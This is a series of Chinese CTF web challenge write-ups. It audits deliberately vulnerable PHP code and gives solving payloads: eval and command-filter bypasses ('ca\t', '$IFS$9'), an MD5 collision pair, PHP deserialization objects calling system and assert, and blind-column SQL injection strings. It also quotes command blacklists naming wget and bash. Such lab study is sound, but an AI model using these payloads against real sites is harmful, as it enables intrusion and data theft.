全写在一个里太多,分开放。
[BJDCTF2020]Mark loves cat
1.进入后,发现所有的链接都指向了自己。
2.扫描目录,用 dirsearch 就行。
得到存在 .git 源码泄露。
3.用 GitHack 把代码下载下来。
https://blog.csdn.net/qq_43622442/article/details/105925473
[GXYCTF2019]禁止套娃
扫描一下,得到文件 index.php.bak
。进行审计:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
其中:先对常用的伪协议进行了检测,之后又进行正则匹配,
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
这里使用preg_replace
替换匹配到的字符为空,[^A-Za-z0-9]
,然后(?R)?
这个意思为递归整个匹配模式。
举个例子:
a(b(c()));可以使用,但是a(‘b’)或a(‘b’, ‘c’)的这种含有参数的都不能使用。
所以我们要使用无参数的函数进行文件读取或者命令执行。
payload:
print_r(scandir(current(localeconv())));
print_r(next(array_reverse(scandir(current(localeconv())))));
show_source(next(array_reverse(scandir(current(localeconv())))));
or readfile(next(array_reverse(scandir(current(localeconv())))));
or highlight_file(next(array_reverse(scandir(current(localeconv())))));
newsctf 凛冬将至
EasyWeb
打开后,得到代码,进行审计: 关键代码 👇
<body>
<h1>EasyWeb</h1>
<div class="content">
<?php highlight_file("index.php") ?>
</div>
<div class="content">
<?php
$six_number = $_POST['webp'];
$a = $_POST['a'];
$b = $_POST['b'];
$c = $_POST['c'];
if (md5($six_number) == 'e10adc3949ba59abbe56e057f20f883e' && md5($a) === md5($b) && $a !== $b) {
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}
}
}
?>
</div>
</body>
前面很简单,说一下这个,我没见过:
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}
这个绕过是通过溢出,要让 $array[]
到达最大限度,好让第二个 if
时无法赋值,从而绕过到 else
。
PHP数组Key溢出:
通过PHP创建关联数组的时候,键值Key如果是数值型(可通过is_numeric()判断),则会在int有效范围内被自动转换为int型,如果超过int有效范围就会有问题,这就涉及到数组键值Key作为int型时的有效范围判断。
PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次方,及-2147483648到2147483647,64位系统上为2的63次方,即-9223372036854775808到9223372036854775807。
我们试验一下:
所以最终 payloa d为:
webp=123456&a[]=1&b[]=2&c=9223372036854775806
输入得到的为一个密码。
然后提示图片有问题,将图片下载后,用 binwalk 解析一下:
发现其中还有 zip 文件,将其提取出来。解压,用到之前得到的密码,得到 flag。
#binwalk dd 命令分离文件
dd if=index.png of=a.zip skip=1522188 bs=1
if 指定输入文件,of 指定输出文件,skip 指定从文件开头跳过 x 个块后开始复制,
bs 设置每次读写块的大写为 x 字节。
binwalk -e 文件路径 #得到分离后的文件 直接命令不需要像上面一样自己规定文件位置
其他分解方法:
https://www.cnblogs.com/jiaxinguoguo/p/7351202.html
http://www.bugku.com/forum.php?mod=viewthread&tid=115&extra=page%3D1
[安洵杯 2019]easy_web
进入页面,悲伤气息扑面而来。
知识点:
- md5 强类型绕过。
- 任意文件读取。
- Linux命令执行绕过。
在 URL 处,发现:
http://54fae4b4-a5d2-4e35-a60d-1b772ad8b996.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
img=TXpVek5UTTFNbVUzTURabE5qYz0
,这个是 base64 加密,进行解码,解码两次后得到:3535352e706e67
。然后这个又像是 16进制加密的,解密一下:555.png
,一个图片的名字。
然后用上面的解密反推 index.php :转换后得到:
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
访问,得到 base64 编码的字符串,解码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
关键代码:
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
有一个MD5强绕过:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
然后还有一个命令执行过滤:
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
虽然过滤了 ls
但我们还可以使用 dir
来查看目录:
没有发现flag,去访问根目录,这里过滤了空格,我们使用 %20
来绕过:
发现flag,但是 cat 被过滤了,我们可以采用 ca\t%20/flag
来绕过。
ca\t
后面的 \t
会成为 TAB 而绕过。
还可以使用 sort
命令,sort 将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按 ASCII 码值进行比较,最后将它们按升序输出。
[网鼎杯 2020 朱雀组]phpweb
知识点
- PHP函数的使用。
- PHP序列化和反序列化
解题
打开网页后,发现网页每隔一段时间会自动刷新一下,且网页上显示一段 warning信息,并提示了 data() 函数。
抓包看一下:
观察发现页面会传递两个参数,fun 和 p。fun 对应的值为 data,p 对应的值为一串时间格式,猜测网页会向后端传递函数名及其对应的参数。
php data(format):格式化日期和时间,并返回格式化的日期字符串。
根据上面的分析,可以自行修改 func 和 p 的值,看是否能获得一些有用的信息。这里可以采用 file_get_contents 来获取 index.php 的源码。: (没有括号哈)
得到源码:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
函数说明:
call_user_func():
getteyp():顾名思义,就是返回类型。
其他没什么好说的了。
整段代码的运行逻辑为:利用 func 和 p 传入的参数传入 gettime(),在这期间对传入的 func 数据进行了非空判断,大小写的转换,黑名单的校验,而 gettime() 的运行逻辑为:利用 call_user_func 执行传入的函数,并将执行结果返回在网页上显示。
还可以看到 Test 类是一个小小的序列化提示,它并没有被调用。但是这提示了我们可以采用序列化和反序列化来绕过之前的过滤。此时我们可以将 $func=unserialize()&$p=我们要执行的语句的序列化
。开始构造:
<?php
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
echo serialize($a);
?>
得到:
O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
后端接受到这两个参数后,调用 call_user_func 将上面的字符串进行反序列化,还原成上面的代码。而上面的代码核心在于创建一个 Test() 对象,因为在 __destruct() 函数是构造方法,在对象销毁时会执行,根据 Test 类中设置的函数名和参数值再执行一次,就可以获得我们所需要的信息。
然后修改 $p 的值即可逐步得到flag:
find / -name flag*
cat $(find / -name flag)
最终 payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:24:"cat $(find / -name flag)";s:4:"func";s:6:"system";}
或使用 readfile
直接读取得到路径的flag:
[BJDCTF2020]Cookie is so stable
模板注入题
在 /flag.php
测试:
得到 49 说明为 Twig模板
去 hint.php
得到提示,看到提示注意 cookie处。
抓包看看:
[WUSTCTF2020]朴实无华
进入后,什么都没有,然后有 bot 字眼,应该是提示看 robots.txt
,所以去看看,得到提示:\fAke_f1agggg.php
,去访问,访问进入后提示不在这里,去网络看看,在响应头处又得到/fl4g.php
,访问进入正题。
乱码,在火狐浏览器的话在工具栏中 文字编码处修改为 Unicode即可。
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
intval()绕过: intval($num)<2020 && intval($num+1)>2021
。知识点 -> 如果 intval()函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,而对于科学计数法的字符串+数字则会将之前的字符串类型转换为数字型。
例如:
<?php
$num = "2e3";
echo intval($num)."\n"; //得到2
echo intval($num + 1); //得到2001
?>
既然得到了我们想要的结果,开始实践,构造:?num='1e4'
,???失败了。
猜测可能是传入num值后台会自动转成字符串,由于开启了error_reporting(0)
,也看不见报错。重新构造:?num=1e4
,成功越过第一重障碍。
第二层就是常见的md5绕过,要求$md5 == md5($md5)
,直接构造:?num=1e4&md5=0e215962017
,成功。
第三层,要求输入的参数中不能有空格,且不能有cat否者会替换掉,然后就会将我们的参数命令执行。
先看看有什么,?num=1e4&md5=0e215962017&get_flag=ls
很明显了,其他的我们都访问过了,就是这个最长的文件为我们要获取的。
取代cat的有很多,如:tac,more,nl,sort......
。空格我们也有代替的,可以用$IFS$9, ${IFS},
代替。
所以最终payload为 :?num=1e4&md5=0e215962017&get_flag=sort$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
。
[SWPU2019]Web1
无名注入
正常登录注册框,先注册admin发现已经被注册,简单的绕过无效。先注册一个账户,登录进去后有个发布广告,发布个广告名1'
,内容随便。去查看:
发现存在注入漏洞。
先fuzz一下,发现 and, or, information_schema, order, updatexml
等已被过滤,且大小写无法绕过。 (先开始注字段,因为注释也被过滤,所以最后我们要闭合)
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,18,20,21,22/**/'
得到有22列。回显在2,3处。
因为 information_schema也被过滤了,所以利用其他方法bypass。
注表名:
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
猜表的列数:(这里就要用到无名注入了) 得到users有3列
-1'union/**/select/**/1,(select/**/group_concat(`1`)/**/from(select/**/1,2/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
-1'union/**/select/**/1,(select/**/group_concat(`1`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
注值:
-1'union/**/select/**/1,(select/**/group_concat(`2`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
-1'union/**/select/**/1,(select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
[NPUCTF2020]ReadlezPHP
- php反序列化
- php变量动态函数
知识点:
assert()函数:
解题:
查看源码后,得到提示:
去访问,得到代码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
可以看到,在反序列化后会执行echo $b($a);
,这里为
<?php
class HelloPhp {
public $a;
public $b;
public function __construct() {
$this->a = "phpinfo()";
$this->b = "assert";
}
}
$c = new HelloPhp;
$d = serialize($c);
echo $d;
?>
….